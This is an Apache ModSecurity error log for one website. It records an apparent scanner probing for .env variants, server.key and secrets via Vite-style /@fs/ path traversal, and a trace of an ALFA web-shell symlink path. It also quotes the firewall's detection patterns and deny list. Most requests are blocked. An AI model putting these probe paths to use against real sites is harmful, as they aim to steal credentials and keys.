[Sun Oct 25 15:18:09.071557 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5V8T0p4A7_zqEqxw4UxQAAAB4"]
[Sun Oct 25 15:18:09.071785 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5V8T0p4A7_zqEqxw4UxQAAAB4"]
[Sun Oct 25 15:18:09.026183 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5V8WosA4aMF_N5SapqCAAAACA"]
[Sun Oct 25 15:18:09.095981 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5V8WosA4aMF_N5SapqCAAAACA"]
[Sun Oct 25 15:18:09.096390 2026] [security2:error] [pid 2887592:tid 2887592] [client 34.95.254.114:60922] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5V8WosA4aMF_N5SapqCAAAACA"]
[Sun Oct 25 15:18:09.144785 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.95.254.114:60632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5V8Zv6gKcq3V_2QCvzJAAAAA0"]
[Sun Oct 25 15:18:09.232899 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.95.254.114:60632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5V8Zv6gKcq3V_2QCvzJAAAAA0"]
[Sun Oct 25 15:18:09.233261 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.95.254.114:60632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5V8Zv6gKcq3V_2QCvzJAAAAA0"]
[Sun Oct 25 15:18:09.145709 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5V8YFcUVAO2YtGzyMeoQAAAAg"]
[Sun Oct 25 15:18:09.233779 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5V8YFcUVAO2YtGzyMeoQAAAAg"]
[Sun Oct 25 15:18:09.234029 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5V8YFcUVAO2YtGzyMeoQAAAAg"]
[Sun Oct 25 15:18:09.146402 2026] [security2:error] [pid 2885108:tid 2885108] [client 34.95.254.114:60652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5V8Z_hQsyVM851q_lTVQAAAAc"]
[Sun Oct 25 15:18:09.234456 2026] [security2:error] [pid 2885108:tid 2885108] [client 34.95.254.114:60652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5V8Z_hQsyVM851q_lTVQAAAAc"]
[Sun Oct 25 15:18:09.234727 2026] [security2:error] [pid 2885108:tid 2885108] [client 34.95.254.114:60652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5V8Z_hQsyVM851q_lTVQAAAAc"]
[Sun Oct 25 15:18:09.037190 2026] [security2:error] [pid 2887572:tid 2887572] [client 34.95.254.114:60622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5V8TCOcE1IhFFH1nhh1wAAABE"]
[Sun Oct 25 15:18:09.235135 2026] [security2:error] [pid 2887572:tid 2887572] [client 34.95.254.114:60622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5V8TCOcE1IhFFH1nhh1wAAABE"]
[Sun Oct 25 15:18:09.235382 2026] [security2:error] [pid 2887572:tid 2887572] [client 34.95.254.114:60622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5V8TCOcE1IhFFH1nhh1wAAABE"]
[Sun Oct 25 15:18:09.148691 2026] [security2:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5V8Silj0Nbd9q5zbpZ3gAAAB0"]
[Sun Oct 25 15:18:09.239555 2026] [security2:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5V8Silj0Nbd9q5zbpZ3gAAAB0"]
[Sun Oct 25 15:18:09.239903 2026] [security2:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5V8Silj0Nbd9q5zbpZ3gAAAB0"]
[Sun Oct 25 15:18:09.149410 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60830] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5V8VvZXFfv30_csgEbKgAAAAE"]
[Sun Oct 25 15:18:09.240539 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60830] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5V8VvZXFfv30_csgEbKgAAAAE"]
[Sun Oct 25 15:18:09.241060 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60830] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5V8VvZXFfv30_csgEbKgAAAAE"]
[Sun Oct 25 15:18:09.161972 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5V8a-3mg6lJwQZGruCdAAAACY"]
[Sun Oct 25 15:18:09.311347 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5V8a-3mg6lJwQZGruCdAAAACY"]
[Sun Oct 25 15:18:09.311784 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5V8a-3mg6lJwQZGruCdAAAACY"]
[Sun Oct 25 15:18:09.221716 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60932] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5V8d9M2VEwlrtTY6-yVwAAABM"]
[Sun Oct 25 15:18:09.326088 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5V8d9M2VEwlrtTY6-yVwAAABM"]
[Sun Oct 25 15:18:09.326723 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5V8d9M2VEwlrtTY6-yVwAAABM"]
[Sun Oct 25 15:18:09.577384 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8T0p4A7_zqEqxw4UxgAAAB4"]
[Sun Oct 25 15:18:09.577533 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8T0p4A7_zqEqxw4UxgAAAB4"]
[Sun Oct 25 15:18:09.578151 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8T0p4A7_zqEqxw4UxgAAAB4"]
[Sun Oct 25 15:18:09.578404 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V8T0p4A7_zqEqxw4UxgAAAB4"]
[Sun Oct 25 15:18:09.854061 2026] [ssl:error] [pid 2887590:tid 2887590] (70014)End of file found: [client 3.93.253.174:59554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:18:10.080811 2026] [core:error] [pid 2885087:tid 2885087] (13)Permission denied: [client 185.191.171.3:49368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/shrink
[Sun Oct 25 15:18:10.287878 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5V8q-3mg6lJwQZGruCdQAAACY"]
[Sun Oct 25 15:18:10.288991 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5V8pYw3jZlk1xcjz4TRQAAADA"]
[Sun Oct 25 15:18:10.289207 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5V8pYw3jZlk1xcjz4TRQAAADA"]
[Sun Oct 25 15:18:10.289534 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5V8pYw3jZlk1xcjz4TRQAAADA"]
